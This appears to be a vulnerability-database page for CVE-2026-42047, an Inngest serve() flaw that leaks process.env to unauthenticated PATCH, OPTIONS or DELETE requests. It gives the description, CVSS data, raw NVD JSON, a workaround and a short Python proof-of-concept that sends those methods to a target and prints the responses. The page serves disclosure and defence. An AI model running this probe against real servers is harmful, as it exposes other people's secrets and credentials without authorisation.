CVE-2026-42047

Description

Inngest is a platform for running event-driven and scheduled background functions with queueing, retries, and step orchestration. Versions 3.22.0 through 3.53.1 contain a vulnerability that allows unauthenticated remote attackers to exfiltrate environment variables from the host process via the serve() HTTP handler. The serve() handler implements GET, POST, and PUT methods. Requests using PATCH, OPTIONS, or DELETE fall through to a generic handler that returns diagnostic information. A change introduced in v3.22.0 caused this diagnostic response to include the contents of process.env, exposing any secrets, API keys, or credentials present in the environment. An application is vulnerable if its serve() endpoint is reachable via PATCH, OPTIONS, or DELETE requests, which is common in setups like Next.js Pages Router or Express's app.use(...). Not affected are Next.js App Router handlers that export only GET, POST, and PUT, and applications using the connect worker method. This issue has been fixed in version 3.54.0. To work around this issue if upgrading is not immediately possible, restrict the serve() endpoint at the framework or reverse-proxy layer to accept only GET, POST, and PUT. The Inngest serve() endpoint does not require any other HTTP methods.

CVSS Details

CVSS Score

8.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Inngest 3.22.0 - 3.53.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL where the Inngest serve() handler is hosted
# Example: http://localhost:3000/api/inngest
target_url = "http://target-domain.com/api/inngest"

# Vulnerable HTTP methods that trigger the diagnostic info leak
vulnerable_methods = ["PATCH", "OPTIONS", "DELETE"]

print(f"[*] Checking {target_url} for CVE-2026-42047...")

for method in vulnerable_methods:
    try:
        # Send request with the specific method
        response = requests.request(method, target_url, timeout=5)
        
        if response.status_code == 200:
            print(f"[+] Method {method} returned a response:")
            print(response.text[:500]) # Print part of the response to check for env vars
            print("---")
        else:
            print(f"[-] Method {method} returned status: {response.status_code}")
            
    except Exception as e:
        print(f"[!] Error with method {method}: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42047
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42047
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42047/
[4] VulDB https://vuldb.com/cve/CVE-2026-42047
[5] https://github.com/inngest/inngest-js/releases/tag/inngest%403.54.1
[6] https://github.com/inngest/inngest-js/security/advisories/GHSA-2jf5-6wwv-vhxx

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42047", "sourceIdentifier": "[email protected]", "published": "2026-05-07T21:16:29.980", "lastModified": "2026-05-08T16:08:15.570", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inngest is a platform for running event-driven and scheduled background functions with queueing, retries, and step orchestration. Versions 3.22.0 through 3.53.1 contain a vulnerability that allows unauthenticated remote attackers to exfiltrate environment variables from the host process via the serve() HTTP handler. The serve() handler implements GET, POST, and PUT methods. Requests using PATCH, OPTIONS, or DELETE fall through to a generic handler that returns diagnostic information. A change introduced in v3.22.0 caused this diagnostic response to include the contents of process.env, exposing any secrets, API keys, or credentials present in the environment. An application is vulnerable if its serve() endpoint is reachable via PATCH, OPTIONS, or DELETE requests, which is common in setups like Next.js Pages Router or Express's app.use(...). Not affected are Next.js App Router handlers that export only GET, POST, and PUT, and applications using the connect worker method. This issue has been fixed in version 3.54.0. To work around this issue if upgrading is not immediately possible, restrict the serve() endpoint at the framework or reverse-proxy layer to accept only GET, POST, and PUT. The Inngest serve() endpoint does not require any other HTTP methods."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-497"}]}], "references": [{"url": "https://github.com/inngest/inngest-js/releases/tag/inngest%403.54.1", "source": "[email protected]"}, {"url": "https://github.com/inngest/inngest-js/security/advisories/GHSA-2jf5-6wwv-vhxx", "source": "[email protected]"}]}}